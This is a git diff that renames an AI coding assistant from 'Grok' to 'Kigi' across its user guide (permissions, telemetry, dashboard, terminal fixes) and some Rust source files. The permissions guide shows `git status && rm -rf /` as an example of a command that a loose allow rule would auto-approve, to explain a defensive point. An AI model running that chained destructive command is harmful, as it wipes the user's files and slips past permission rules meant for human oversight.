+**Temporary workaround**: Use `kigi wrap ssh` instead of plain `ssh` (for example, `kigi wrap ssh user@host`). It runs the command in a local PTY that intercepts OSC 52 sequences, including tmux-wrapped ones, and writes their contents to your local clipboard. The same command wraps anything else whose clipboard can't reach you — for example `kigi wrap docker exec -it <container> bash` or `kigi wrap kubectl exec -it <pod> -- bash`.
 
-> **Warning**: `grok wrap` is **experimental** and may misbehave in some setups.
+> **Warning**: `kigi wrap` is **experimental** and may misbehave in some setups.
 
 **iTerm2 setting**:
 iTerm2 requires explicit permission for OSC 52:
@@ -113,7 +113,7 @@ iTerm2 requires explicit permission for OSC 52:
 1. iTerm2 → **Settings** → **General** → **Selection**
 2. Enable **"Applications in terminal may access clipboard"**
 
-This setting is off by default for security reasons. Without it, OSC 52 writes from Grok (or any TUI) will be ignored.
+This setting is off by default for security reasons. Without it, OSC 52 writes from Kigi (or any TUI) will be ignored.
 
 **Fix for other cases**:
 - `set -g set-clipboard on` in tmux config
@@ -124,13 +124,13 @@ This setting is off by default for security reasons. Without it, OSC 52 writes f
 **Cause**: Zellij, tmux control mode (`tmux -CC`), or config set to `never`.
 
 **Fix**:
-- In Zellij or control mode, Grok intentionally runs inline (no alt screen).
+- In Zellij or control mode, Kigi intentionally runs inline (no alt screen).
 - Set `[terminal] alt_screen = "always"` in `~/.kigi/pager.toml` to force fullscreen.
 - Use the CLI flag `--no-alt-screen` to disable alt-screen mode entirely (useful for debugging or when the alternate screen causes issues in your terminal).
 
-### Problem: Zellij keybindings interfere with Grok (Ctrl+g, Ctrl+o, etc.)
+### Problem: Zellij keybindings interfere with Kigi (Ctrl+g, Ctrl+o, etc.)
 
-Zellij intercepts many Ctrl/Alt key combinations before they reach full-screen TUIs like Grok.
+Zellij intercepts many Ctrl/Alt key combinations before they reach full-screen TUIs like Kigi.
 
 **Best fix** (Zellij 0.41+): Switch to the **"Unlock-First (non-colliding)"** preset:
 
@@ -139,15 +139,15 @@ Zellij intercepts many Ctrl/Alt key combinations before they reach full-screen T
 3. Select **"Unlock-First (non-colliding)"**
 4. Press `Enter` (or `Ctrl+a` to save permanently)
 
-After this, Zellij starts **locked**. Most keys pass through to Grok. Press `Ctrl+g` to temporarily unlock Zellij when you need its pane/session management.
+After this, Zellij starts **locked**. Most keys pass through to Kigi. Press `Ctrl+g` to temporarily unlock Zellij when you need its pane/session management.
 
 Zellij recommends this approach for TUI users.
 
 ### Problem: `Ctrl+Enter` doesn't interject in WezTerm
 
-**Cause**: WezTerm ships with the Kitty keyboard protocol disabled. Grok relies on it to tell `Ctrl+Enter` (interject) and `Shift+Enter` (send in multiline mode) apart from plain `Enter`. Most other terminals enable the protocol when Grok requests it.
+**Cause**: WezTerm ships with the Kitty keyboard protocol disabled. Kigi relies on it to tell `Ctrl+Enter` (interject) and `Shift+Enter` (send in multiline mode) apart from plain `Enter`. Most other terminals enable the protocol when Kigi requests it.
 
-For the same reason, in Apple Terminal, Grok binds `Ctrl+O` to interject.
+For the same reason, in Apple Terminal, Kigi binds `Ctrl+O` to interject.
 
 **Fix**:
 
@@ -157,9 +157,9 @@ Add this after `config = wezterm.config_builder()` in `~/.config/wezterm/wezterm
 config.enable_kitty_keyboard = true
 ```
 
-Reload (`Cmd+Shift+R` or restart WezTerm) and restart `grok`.
+Reload (`Cmd+Shift+R` or restart WezTerm) and restart `kigi`.
 
-**Verify**: Run `/terminal-setup` inside Grok. While a turn is active, you see the interject hint, and `Ctrl+Enter` interjects.
+**Verify**: Run `/terminal-setup` inside Kigi. While a turn is active, you see the interject hint, and `Ctrl+Enter` interjects.
 
 **Quick workaround** (no global change):
 
@@ -176,24 +176,24 @@ table.insert(config.keys, {
 **Cause**: VS Code's integrated terminal (and the Cursor / Windsurf / Zed
 forks) use xterm.js, which only partially implements the Kitty keyboard
 protocol — it mis-encodes shifted printable keys (`!@#$%^&*()` arrive as
-plain digits). Grok therefore never negotiates the protocol for these
+plain digits). Kigi therefore never negotiates the protocol for these
 terminals. Without it, xterm.js sends a bare `CR` for `Shift+Enter`,
 byte-for-byte identical to plain `Enter`, so the chord can't be told apart
 and the prompt submits.
 
 This also affects VS Code reached **over SSH** (e.g. into a devbox or
-container): `TERM_PROGRAM` isn't forwarded, so Grok sees an `Unknown`
+container): `TERM_PROGRAM` isn't forwarded, so Kigi sees an `Unknown`
 terminal and skips the protocol for the same reason.
 
 **Fix**: Use **`Alt+Enter`** to insert a newline. xterm.js delivers it
-reliably as `ESC`+`CR` regardless of the keyboard protocol, and Grok's
+reliably as `ESC`+`CR` regardless of the keyboard protocol, and Kigi's
 prompt hint bar advertises `Alt+Enter: newline` whenever it detects this
 situation. Run `/terminal-setup` to confirm — the `newline` row shows
 `Alt+Enter` when `Shift+Enter` is unavailable.
 
 ### Problem: Mouse scrolling stops working (native scrollbar takes over)
 
-If Grok's mouse-driven scrolling stops responding and your terminal falls back to its native scrollbar, mouse reporting is off.
+If Kigi's mouse-driven scrolling stops responding and your terminal falls back to its native scrollbar, mouse reporting is off.
 
 **Apple Terminal**: Go to **View > Allow Mouse Reporting** (keyboard shortcut `Cmd+R`) to re-enable it. A checkmark appears next to the option when active.
 
diff --git a/crates/codegen/kigi-tui/docs/user-guide/22-permissions-and-safety.md b/crates/codegen/kigi-tui/docs/user-guide/22-permissions-and-safety.md
index 42edc45..af24c38 100644
--- a/crates/codegen/kigi-tui/docs/user-guide/22-permissions-and-safety.md
+++ b/crates/codegen/kigi-tui/docs/user-guide/22-permissions-and-safety.md
@@ -1,6 +1,6 @@
 # Permissions and Safety Controls
 
-Grok can read files, search code, edit files, and run shell commands. The permission system controls what the agent is allowed to do. You can combine several independent layers: permission rules, permission modes, hooks, and the OS-level sandbox.
+Kigi can read files, search code, edit files, and run shell commands. The permission system controls what the agent is allowed to do. You can combine several independent layers: permission rules, permission modes, hooks, and the OS-level sandbox.
 
 This guide explains how a tool call is authorized, how to configure permission rules from the CLI, native configuration, or Claude settings, and how to use `PreToolUse` hooks for allow lists that apply in every mode.
 
@@ -100,13 +100,13 @@ Do not use `permission_mode` for this; it is a user-switchable default, not a lo
 
 The user-level `~/.kigi/requirements.toml` is under the user's control, so a developer can remove the lock by editing that file. For enforcement that users cannot override, deploy the setting in the root-owned system file `/etc/kigi/requirements.toml`.
 
-> **Note:** Grok honors the permission rules in Claude Code's `managed-settings.json`, but not its `disableBypassPermissionsMode` lock. To disable always-approve in Grok, use `requirements.toml` as shown above.
+> **Note:** Kigi honors the permission rules in Claude Code's `managed-settings.json`, but not its `disableBypassPermissionsMode` lock. To disable always-approve in Kigi, use `requirements.toml` as shown above.
 
 ---
 
 ## Configuring Permissions
 
-Grok reads permission rules from three compatible sources. Rules from all sources are merged into one set; a rule's effect depends on its action (`deny` > `ask` > `allow`), not on which file it came from.
+Kigi reads permission rules from three compatible sources. Rules from all sources are merged into one set; a rule's effect depends on its action (`deny` > `ask` > `allow`), not on which file it came from.
 
 ### Where Permission Rules Live (Scopes)
 
@@ -117,13 +117,13 @@ Permission rules can be global (all projects), project-scoped (one repository),
 | Global (all projects) | `~/.kigi/config.toml` | No |
 | Project (committed) | `<project>/.kigi/config.toml` | Yes (commit it) |
 | Project (personal) | `<project>/.claude/settings.local.json` | No (gitignore it) |
-| Interactive grants | Stored internally by Grok, per project | No |
+| Interactive grants | Stored internally by Kigi, per project | No |
 
 Notes on scoping:
 
-- Grok discovers a `.kigi/config.toml` at every directory level from the repository root down to your working directory, so a subdirectory can add rules on top of the repo root's.
+- Kigi discovers a `.kigi/config.toml` at every directory level from the repository root down to your working directory, so a subdirectory can add rules on top of the repo root's.
 - Rules from all scopes are merged into one rule set; `deny` > `ask` > `allow` applies across scopes, so a global `deny` cannot be overridden by a project `allow`.
-- Grok has no native `config.local.toml`. For personal, uncommitted rules in a project, use `.claude/settings.local.json`; Grok reads it directly (see [Claude Code Compatibility](#3-claude-code-compatibility-claudesettingsjson)).
+- Kigi has no native `config.local.toml`. For personal, uncommitted rules in a project, use `.claude/settings.local.json`; Kigi reads it directly (see [Claude Code Compatibility](#3-claude-code-compatibility-claudesettingsjson)).
 - Interactive "Always allow" decisions are stored outside the repository, scoped to the project (see [Interactive Approvals](#interactive-approvals-and-where-they-persist)).
 
 To stop prompts for a specific command in one project, add a narrow allow rule to that project's `.kigi/config.toml` (or `.claude/settings.json`):
@@ -138,7 +138,7 @@ This approves only the listed commands. Always-approve mode, by contrast, approv
 ### 1. CLI Flags
 
 ```bash
-grok -p "Review the API changes" \
+kigi -p "Review the API changes" \
   --allow 'Bash(git *)' \
   --allow 'Bash(gh *)' \
   --allow 'Read' \
@@ -179,7 +179,7 @@ Because `deny` always wins, you cannot combine these `allow` rules with a catch-
 
 Rules from the global `~/.kigi/config.toml` and every project `.kigi/config.toml` (from the repo root down to your working directory) are merged into one rule set, alongside any `.claude/settings.json` rules.
 
-Managed configuration deployed by your organization also contributes `[permission]` rules: the system `/etc/kigi/managed_config.toml`, and a user-level copy that Grok maintains automatically at `~/.kigi/managed_config.toml`. Managed rules merge like rules from any other source, with two properties specific to managed `allow` rules: your own `deny` and `ask` rules win over a managed `allow` (severity ordering), and a catch-all managed `allow` is ignored when always-approve is locked off. For rules that users cannot edit away, use the root-owned system `/etc/kigi/requirements.toml`.
+Managed configuration deployed by your organization also contributes `[permission]` rules: the system `/etc/kigi/managed_config.toml`, and a user-level copy that Kigi maintains automatically at `~/.kigi/managed_config.toml`. Managed rules merge like rules from any other source, with two properties specific to managed `allow` rules: your own `deny` and `ask` rules win over a managed `allow` (severity ordering), and a catch-all managed `allow` is ignored when always-approve is locked off. For rules that users cannot edit away, use the root-owned system `/etc/kigi/requirements.toml`.
 
 Permission rules from every source are read once, when a session starts. Changes apply to the next session.
 
@@ -202,7 +202,7 @@ allow = [
 
 ### 3. Claude Code Compatibility (`.claude/settings.json`)
 
-Grok reads `~/.claude/settings.json` and `~/.claude/settings.local.json`, plus the project-level `<project>/.claude/settings.json` and `settings.local.json` (walking up to the repo root). The native `.kigi` source for permission rules is `config.toml`, described in the section above.
+Kigi reads `~/.claude/settings.json` and `~/.claude/settings.local.json`, plus the project-level `<project>/.claude/settings.json` and `settings.local.json` (walking up to the repo root). The native `.kigi` source for permission rules is `config.toml`, described in the section above.
 
 Example:
 
@@ -223,7 +223,7 @@ Example:
 }
 ```
 
-Supported `defaultMode` values are `default`, `acceptEdits`, `bypassPermissions`, `dontAsk`, and `plan`. Grok reads `defaultMode` from its canonical location under `permissions`; a top-level `defaultMode` is also accepted when the nested key is absent.
+Supported `defaultMode` values are `default`, `acceptEdits`, `bypassPermissions`, `dontAsk`, and `plan`. Kigi reads `defaultMode` from its canonical location under `permissions`; a top-level `defaultMode` is also accepted when the nested key is absent.
 
 `permissions.allow`, `permissions.deny`, and `permissions.ask` entries are translated into native rules and then matched with the semantics in the [Rule Matching Reference](#rule-matching-reference). Translation notes:
 
@@ -250,7 +250,7 @@ Matching is case-sensitive. Leading whitespace in the command is trimmed before
 
 A trailing `:*` suffix on a Bash rule is stripped to a plain prefix: `Bash(git commit:*)` becomes prefix `git commit`. Because prefixes have no word boundary, a `deny` written as `Bash(sed:*)` also blocks commands such as `sed-custom`.
 
-**Chained commands.** Grok parses each command like a shell and splits it on `&&`, `||`, `;`, `|`, and newlines. The rule actions treat segments differently:
+**Chained commands.** Kigi parses each command like a shell and splits it on `&&`, `||`, `;`, `|`, and newlines. The rule actions treat segments differently:
 
 - `deny` and `ask` rules are checked against every segment, and against the whole string. One denied segment rejects the entire command.
 - `allow` rules are checked against the whole command string only. `Bash(git *)` therefore auto-approves `git status && rm -rf /`, because the full string starts with `git `. Pair narrow allow rules with `deny` rules for the patterns you want to block.
@@ -277,7 +277,7 @@ Path patterns are globs matched against the path string the tool was called with
 
 ### MCP Rules
 
-`MCPTool(...)` patterns match the full Grok tool name in `server__tool` form, with glob support: `MCPTool(linear__*)` matches every tool from the `linear` server. Grok tool names carry no `mcp__` prefix, so a rule written as `mcp__server__tool` never matches an MCP call; write `MCPTool(server__tool)` instead.
+`MCPTool(...)` patterns match the full Kigi tool name in `server__tool` form, with glob support: `MCPTool(linear__*)` matches every tool from the `linear` server. Kigi tool names carry no `mcp__` prefix, so a rule written as `mcp__server__tool` never matches an MCP call; write `MCPTool(server__tool)` instead.
 
 ### WebFetch Rules
 
@@ -325,7 +325,7 @@ The remembered prefix is limited to a short form of the command: read-only comma
 
 ### Persistence Is Per Project
 
-Interactive grants are stored in Grok's own state directory under your home directory, scoped to the directory you launched Grok from. A grant made in one project never applies in another, grants are not written into the repository, and they are not meant to be hand-edited.
+Interactive grants are stored in Kigi's own state directory under your home directory, scoped to the directory you launched Kigi from. A grant made in one project never applies in another, grants are not written into the repository, and they are not meant to be hand-edited.
 
 Interactive grants are personal, per-machine state. For an allowlist you can review in code review and share with teammates, use declarative rules in the project's `.kigi/config.toml` instead.
 
@@ -411,7 +411,7 @@ For hook installation, the JSON format, the trust model for project hooks, and o
 ### Headless git and gh Only (CI and Automation)
 
 ```bash
-grok -p "Implement the feature using only git and GitHub CLI" \
+kigi -p "Implement the feature using only git and GitHub CLI" \
   --allow 'Read' \
   --allow 'Grep' \
   --allow 'Bash(git *)' \
diff --git a/crates/codegen/kigi-tui/docs/user-guide/23-dashboard.md b/crates/codegen/kigi-tui/docs/user-guide/23-dashboard.md
index 9c30e85..8edece1 100644
--- a/crates/codegen/kigi-tui/docs/user-guide/23-dashboard.md
+++ b/crates/codegen/kigi-tui/docs/user-guide/23-dashboard.md
@@ -12,7 +12,7 @@ which already shows when work is in flight.
 
 Three entry points, all opening the same view:
 
-- **`grok dashboard`** — launches the TUI directly into the dashboard.
+- **`kigi dashboard`** — launches the TUI directly into the dashboard.
 - **`/dashboard`** (aliases **`/agents-dashboard`**, **`/sessions`**) — open
   from inside an active session.
 - **Ctrl+\\** — same as the slash command, two keystrokes. Configurable
@@ -23,7 +23,7 @@ Three entry points, all opening the same view:
 ## What you see
 
 ```
- Grok Build · Dashboard — 4 agents · 2 awaiting
+ Kigi · Dashboard — 4 agents · 2 awaiting
 ▌● reviewer · audit token flow    Awaiting your input            2m
  ● implementer · fix login bug    Running: cargo test           12m
  ⋅ refactor · feat/login          Responding…                   24m
@@ -51,7 +51,7 @@ bottom of the group; select it and press `Enter` / `→` (or click it) to
 reveal them all, and `←` to re-fold. The Idle header always shows the true total. Folding is
 suspended while a filter or search is active (so every match shows).
 
-The state icon matches Grok Build's sibling views (
+The state icon matches Kigi's sibling views (
 `tasks_pane`):
 
 - `⋅`/`:`/`⸬`/`⁙` — animated spinner for **Working** rows.
@@ -346,6 +346,6 @@ friendly toast.
 ## Phase 4 (out of scope for v1)
 
 The current dashboard lists only agents owned by **this** pager
-process. The plan's Phase 4 ("supervisor / `grok --bg`") would list
+process. The plan's Phase 4 ("supervisor / `kigi --bg`") would list
 sessions that survive pager exit — that's a separate roadmap and not
 shipped yet.
diff --git a/crates/codegen/kigi-tui/docs/user-guide/24-monitoring-usage.md b/crates/codegen/kigi-tui/docs/user-guide/24-monitoring-usage.md
index c776af4..8dfafb3 100644
--- a/crates/codegen/kigi-tui/docs/user-guide/24-monitoring-usage.md
+++ b/crates/codegen/kigi-tui/docs/user-guide/24-monitoring-usage.md
@@ -1,10 +1,10 @@
 # Monitoring Usage (External OpenTelemetry)
 
-> **Status: alpha.** The schema below is versioned (`grok_code.schema.version = v1`);
+> **Status: alpha.** The schema below is versioned (`kigi_code.schema.version = v1`);
 > additive changes may occur without notice, renames/removals will bump the
 > version and be called out in the changelog.
 
-Grok CLI can export usage **metrics** and **events** to your organization's
+Kigi CLI can export usage **metrics** and **events** to your organization's
 own OpenTelemetry collector, so platform teams can monitor adoption, token
 consumption, tool-permission decisions, and errors across the fleet — without
 any data flowing through SpaceXAI.
@@ -32,7 +32,7 @@ export OTEL_LOGS_EXPORTER=otlp
 export OTEL_EXPORTER_OTLP_PROTOCOL=http/protobuf  # or grpc
 export OTEL_EXPORTER_OTLP_ENDPOINT=https://collector.corp.example:4318
 export OTEL_EXPORTER_OTLP_HEADERS="Authorization=Bearer <collector-token>"
-grok
+kigi
 ```
 
 `KIGI_EXTERNAL_OTEL=1` alone enables **nothing** — you must also select at
@@ -56,7 +56,7 @@ without the master switch.
 | `OTEL_EXPORTER_OTLP_METRICS_TEMPORALITY_PREFERENCE` | `delta` | `delta` \| `cumulative`. |
 | `OTEL_METRICS_INCLUDE_SESSION_ID` | `1` | Attach `session.id` to metrics (cardinality opt-out). |
 | `OTEL_METRICS_INCLUDE_VERSION` | `0` | Attach `app.version` to metrics. |
-| `OTEL_LOG_USER_PROMPTS` | `0` | Content gate: prompt text on `grok_code.user_prompt` (60 KB cap, secret-scrubbed). |
+| `OTEL_LOG_USER_PROMPTS` | `0` | Content gate: prompt text on `kigi_code.user_prompt` (60 KB cap, secret-scrubbed). |
 | `OTEL_LOG_TOOL_DETAILS` | `0` | Content gate: tool parameters (4 KB cap), full file paths, verbatim MCP/skill/plugin names. Bash command text is **never** exported in v1, even with this gate. |
 
 `OTEL_RESOURCE_ATTRIBUTES` is deliberately ignored: the resource is built
@@ -95,7 +95,7 @@ There is deliberately no `headers` key: supply collector auth via
 `OTEL_EXPORTER_OTLP_HEADERS` so tokens are never stored on disk.
 
 Managed deployments can additionally enable org-wide telemetry by distributing
-the `[telemetry]` `otel_*` keys through `grok setup` managed config /
+the `[telemetry]` `otel_*` keys through `kigi setup` managed config /
 requirements pins, or force-disable it fleet-wide with the same local config
 layers (`external_otel_disabled`, content-gate locks).
 
@@ -103,29 +103,29 @@ layers (`external_otel_disabled`, content-gate locks).
 
 | Attribute | Value |
 |---|---|
-| `service.name` | `grok-cli` |
+| `service.name` | `kigi-cli` |
 | `service.version`, `client.version` | build/client versions |
 | `app.entrypoint` | `cli` \| `headless` \| `agent` |
 | `terminal.type` | terminal emulator brand |
-| `grok_code.schema.version` | `v1` |
+| `kigi_code.schema.version` | `v1` |
 
 Identity attributes (`user.id`, and `organization.id` / `team.id` /
 `deployment.id` when known) are attached per metric data point and per event
 once authentication completes. `prompt.id` (per-prompt UUID) appears on
 events only, never metrics.
 
-## Metrics (meter scope `ai.xai.grok_code`)
+## Metrics (meter scope `ai.xai.kigi_code`)
 
 | Metric | Unit | Attributes |
 |---|---|---|
-| `grok_code.session.count` | `{session}` | base attrs only |
-| `grok_code.token.usage` | `{token}` | `type` = `input` \| `output` \| `reasoning` \| `cache_read`; `model` |
-| `grok_code.turn.count` | `{turn}` | `outcome` = `completed` \| `cancelled` \| `error`; `model` |
-| `grok_code.tool.decision` | `{decision}` | `tool_name`, `decision` = `allow` \| `deny` \| `cancelled` \| `followup`, `access_kind`, `permission_mode` |
-| `grok_code.tool.usage` | `{call}` | `tool_name`, `outcome` |
-| `grok_code.error.count` | `{error}` | `error_category`, `model` |
+| `kigi_code.session.count` | `{session}` | base attrs only |
+| `kigi_code.token.usage` | `{token}` | `type` = `input` \| `output` \| `reasoning` \| `cache_read`; `model` |
+| `kigi_code.turn.count` | `{turn}` | `outcome` = `completed` \| `cancelled` \| `error`; `model` |
+| `kigi_code.tool.decision` | `{decision}` | `tool_name`, `decision` = `allow` \| `deny` \| `cancelled` \| `followup`, `access_kind`, `permission_mode` |
+| `kigi_code.tool.usage` | `{call}` | `tool_name`, `outcome` |
+| `kigi_code.error.count` | `{error}` | `error_category`, `model` |
 
-There is no `cost.usage` metric: join `grok_code.token.usage` with your own
+There is no `cost.usage` metric: join `kigi_code.token.usage` with your own
 price sheet. `lines_of_code.count` and `active_time.total` are planned for a
 later phase.
 
@@ -143,23 +143,23 @@ active.
 
 | `event.name` | Attributes |
 |---|---|
-| `grok_code.session_start` | `model`, `permission_mode`, `mcp_server_count`, `plugin_count`, `skill_count`, `hook_count`, `memory_enabled`, `is_git_repo`, `client_identifier` |
-| `grok_code.session_end` | `duration_secs`, `turn_count`, `tool_call_count`, `compaction_count`, `model` |
-| `grok_code.user_prompt` | `prompt_length`, `model`, `screen_mode?` (`fullscreen` \| `inline` \| `minimal` \| `headless` \| `other`); `prompt` (**prompts**) |
-| `grok_code.turn_completed` | `outcome`, `duration_ms`, `tool_call_count`, `model`, `error_category?`, `cancellation_category?` |
-| `grok_code.api_request` | `model`, `duration_ms`, `stop_reason?`, `input_tokens`, `output_tokens`, `reasoning_tokens`, `cache_read_tokens` |
-| `grok_code.api_error` | `error_category`, `model`, `status_code?`, `duration_ms?` |
-| `grok_code.tool_result` | `tool_name`, `outcome`, `success`, `duration_ms`, `file_extension`; `tool_parameters`, `file_path` (**details**) |
-| `grok_code.tool_decision` | `tool_name`, `decision`, `access_kind`, `permission_mode`, `source` |
-| `grok_code.mcp_server_connection` | `status`, `transport_type`, `duration_ms`, `tool_count?`, `error_type?`; `mcp_server.name` (**details**; collapsed to `mcp_server` otherwise) |
-| `grok_code.permission_mode_changed` | `to_mode`, `trigger` |
-| `grok_code.skill_activated` | `skill_source`; `skill.name` (**details**) |
-| `grok_code.plugin_loaded` | `install_kind?`, `success`, `error_category?`; `plugin_name` (**details**) |
-| `grok_code.compaction` | `duration_ms`, `tokens_before`, `tokens_after`, `model?` |
-| `grok_code.subagent` | `phase` = `launched` \| `completed`, `subagent_type?`, `outcome?`, `duration_ms?` |
-| `grok_code.auth` | `auth_method` |
-| `grok_code.internal_error` | `error_type` (class only — no message, no location) |
-| `grok_code.model_switched` | `from_model`, `to_model`, `success`, `error_code?` |
+| `kigi_code.session_start` | `model`, `permission_mode`, `mcp_server_count`, `plugin_count`, `skill_count`, `hook_count`, `memory_enabled`, `is_git_repo`, `client_identifier` |
+| `kigi_code.session_end` | `duration_secs`, `turn_count`, `tool_call_count`, `compaction_count`, `model` |
+| `kigi_code.user_prompt` | `prompt_length`, `model`, `screen_mode?` (`fullscreen` \| `inline` \| `minimal` \| `headless` \| `other`); `prompt` (**prompts**) |
+| `kigi_code.turn_completed` | `outcome`, `duration_ms`, `tool_call_count`, `model`, `error_category?`, `cancellation_category?` |
+| `kigi_code.api_request` | `model`, `duration_ms`, `stop_reason?`, `input_tokens`, `output_tokens`, `reasoning_tokens`, `cache_read_tokens` |
+| `kigi_code.api_error` | `error_category`, `model`, `status_code?`, `duration_ms?` |
+| `kigi_code.tool_result` | `tool_name`, `outcome`, `success`, `duration_ms`, `file_extension`; `tool_parameters`, `file_path` (**details**) |
+| `kigi_code.tool_decision` | `tool_name`, `decision`, `access_kind`, `permission_mode`, `source` |
+| `kigi_code.mcp_server_connection` | `status`, `transport_type`, `duration_ms`, `tool_count?`, `error_type?`; `mcp_server.name` (**details**; collapsed to `mcp_server` otherwise) |
+| `kigi_code.permission_mode_changed` | `to_mode`, `trigger` |
+| `kigi_code.skill_activated` | `skill_source`; `skill.name` (**details**) |
+| `kigi_code.plugin_loaded` | `install_kind?`, `success`, `error_category?`; `plugin_name` (**details**) |
+| `kigi_code.compaction` | `duration_ms`, `tokens_before`, `tokens_after`, `model?` |
+| `kigi_code.subagent` | `phase` = `launched` \| `completed`, `subagent_type?`, `outcome?`, `duration_ms?` |
+| `kigi_code.auth` | `auth_method` |
+| `kigi_code.internal_error` | `error_type` (class only — no message, no location) |
+| `kigi_code.model_switched` | `from_model`, `to_model`, `success`, `error_code?` |
 
 ## Privacy model
 
@@ -213,14 +213,14 @@ Example queries (PromQL, with the Prometheus exporter above):
 
 ```promql
 # Tokens by model and type across the org, 1h rate
-sum by (model, type) (rate(grok_code_token_usage_total[1h]))
+sum by (model, type) (rate(kigi_code_token_usage_total[1h]))
 
 # Sessions per team per day
-sum by (team_id) (increase(grok_code_session_count_total[1d]))
+sum by (team_id) (increase(kigi_code_session_count_total[1d]))
 
 # Tool-permission denial ratio
-sum(rate(grok_code_tool_decision_total{decision="deny"}[1h]))
-  / sum(rate(grok_code_tool_decision_total[1h]))
+sum(rate(kigi_code_tool_decision_total{decision="deny"}[1h]))
+  / sum(rate(kigi_code_tool_decision_total[1h]))
 ```
 
 ## Debugging
diff --git a/crates/codegen/kigi-tui/docs/user-guide/README.md b/crates/codegen/kigi-tui/docs/user-guide/README.md
index 5cbb045..2a139ac 100644
--- a/crates/codegen/kigi-tui/docs/user-guide/README.md
+++ b/crates/codegen/kigi-tui/docs/user-guide/README.md
@@ -1,6 +1,6 @@
-# Grok Build User Guide
+# Kigi User Guide
 
-Learn how to install, configure, and extend Grok Build, the terminal-based AI coding assistant from SpaceXAI.
+Learn how to install, configure, and extend Kigi, the terminal-based AI coding assistant from SpaceXAI.
 
 ---
 
@@ -20,7 +20,7 @@ Start here. These guides cover what you need on your first day.
 
 ## Tier 2: Core Feature Docs
 
-Customize and extend Grok Build.
+Customize and extend Kigi.
 
 | # | Document | Description |
 |---|----------|-------------|
@@ -37,11 +37,11 @@ Customize and extend Grok Build.
 
 ## Tier 3: Advanced Usage Docs
 
-Automate, script, and integrate Grok Build with other systems.
+Automate, script, and integrate Kigi with other systems.
 
 | # | Document | Description |
 |---|----------|-------------|
-| 14 | [Headless Mode and Scripting](14-headless-mode.md) | `grok -p`, output formats, CI/CD integration, and piping |
+| 14 | [Headless Mode and Scripting](14-headless-mode.md) | `kigi -p`, output formats, CI/CD integration, and piping |
 | 15 | [Agent Mode and IDE Integration](15-agent-mode.md) | ACP stdio transport, WebSocket relay, and SDK integration |
 | 16 | [Subagents and Personas](16-subagents.md) | Parallel child sessions, agent types, personas, and capability modes |
 | 17 | [Session Management](17-sessions.md) | Save, load, resume, rewind, compact, and the session persistence format |
diff --git a/crates/codegen/kigi-tui/examples/memory_benchmark.rs b/crates/codegen/kigi-tui/examples/memory_benchmark.rs
index ec7e12c..15ae211 100644
--- a/crates/codegen/kigi-tui/examples/memory_benchmark.rs
+++ b/crates/codegen/kigi-tui/examples/memory_benchmark.rs
@@ -49,7 +49,7 @@ fn create_string_info(id: usize) -> SubagentInfoString {
         subagent_type: "general-purpose".to_string(),
         persona: Some("researcher".to_string()),
         role: Some("analyst".to_string()),
-        model: Some("grok-3".to_string()),
+        model: Some("kigi-3".to_string()),
         status: Some("completed".to_string()),
         tools_used: vec!["read".to_string(), "search".to_string(), "edit".to_string()],
     }
@@ -63,7 +63,7 @@ fn create_arc_info(id: usize) -> SubagentInfoArc {
         subagent_type: Arc::from("general-purpose"),
         persona: Some(Arc::from("researcher")),
         role: Some(Arc::from("analyst")),
-        model: Some(Arc::from("grok-3")),
+        model: Some(Arc::from("kigi-3")),
         status: Some(Arc::from("completed")),
         tools_used: vec![Arc::from("read"), Arc::from("search"), Arc::from("edit")],
     }
@@ -173,7 +173,7 @@ fn main() {
     println!("--- Realistic Scenario (100 subagents with varied data) ---");
     let subagent_types = ["general-purpose", "explore", "plan", "implementer"];
     let personas = ["researcher", "analyst", "reviewer", "implementer"];
-    let models = ["grok-3", "grok-3-mini", "grok-4"];
+    let models = ["kigi-3", "kigi-3-mini", "kigi-4"];
     let statuses = ["completed", "failed", "running", "cancelled"];
     let tools = ["read", "edit", "search", "execute", "list_dir"];
 
diff --git a/crates/codegen/kigi-tui/examples/memory_benchmark_accurate.rs b/crates/codegen/kigi-tui/examples/memory_benchmark_accurate.rs
index 054dab0..78792ce 100644
--- a/crates/codegen/kigi-tui/examples/memory_benchmark_accurate.rs
+++ b/crates/codegen/kigi-tui/examples/memory_benchmark_accurate.rs
@@ -87,8 +87,8 @@ fn main() {
     println!("--- Clone Performance (1,000,000 clones) ---");
     let iterations = 1_000_000;
 
-    let string_info = create_string_info(1, "general-purpose", "grok-3", "researcher");
-    let arc_info = create_arc_info(1, "general-purpose", "grok-3", "researcher");
+    let string_info = create_string_info(1, "general-purpose", "kigi-3", "researcher");
+    let arc_info = create_arc_info(1, "general-purpose", "kigi-3", "researcher");
 
     let start = Instant::now();
     for _ in 0..iterations {
@@ -115,7 +115,7 @@ fn main() {
     println!("Scenario: 1000 subagents sharing subagent_type, model, persona, status");
 
     let shared_types = ["general-purpose", "explore", "plan"];
-    let shared_models = ["grok-3", "grok-3-mini"];
+    let shared_models = ["kigi-3", "kigi-3-mini"];
     let shared_personas = ["researcher", "analyst", "reviewer"];
 
     // Create string-based infos
diff --git a/crates/codegen/kigi-tui/src/acp/meta.rs b/crates/codegen/kigi-tui/src/acp/meta.rs
index fd796ef..02281e1 100644
--- a/crates/codegen/kigi-tui/src/acp/meta.rs
+++ b/crates/codegen/kigi-tui/src/acp/meta.rs
@@ -2,7 +2,7 @@
 //!
 //! Parses the `_meta` JSON from `SessionNotification` into a struct with
 //! typed fields.  All fields are `Option` — gracefully degrades when
-//! grok-shell hasn't been updated or meta is absent.
+//! kigi-shell hasn't been updated or meta is absent.
 
 use serde::{Deserialize, Serialize};
 
@@ -154,7 +154,7 @@ mod tests {
 
     #[test]
     fn parse_missing_new_fields() {
-        // Simulate old grok-shell that doesn't send streamStartMs/turnStartMs
+        // Simulate old kigi-shell that doesn't send streamStartMs/turnStartMs
         let meta_json = json!({
             "totalTokens": 1000u64,
             "agentTimestampMs": 1700000000000i64,
diff --git a/crates/codegen/kigi-tui/src/acp/mod.rs b/crates/codegen/kigi-tui/src/acp/mod.rs
index 4d560d6..155477c 100644
--- a/crates/codegen/kigi-tui/src/acp/mod.rs
+++ b/crates/codegen/kigi-tui/src/acp/mod.rs
@@ -54,8 +54,8 @@ pub struct AcpConnection {
     pub rx: AcpClientRx,
     /// Available models and current selection.
     pub models: ModelState,
-    /// Whether the agent is a grok-shell instance.
-    pub is_grok_shell: bool,
+    /// Whether the agent is a kigi-shell instance.
+    pub is_kigi_shell: bool,
     /// Auth methods advertised by the agent.
     pub auth_methods: Vec<acp::AuthMethod>,
     /// Cancellation token to stop the agent.
@@ -64,9 +64,9 @@ pub struct AcpConnection {
     /// Seeded into every new `AgentSession` so autocomplete has shell builtins
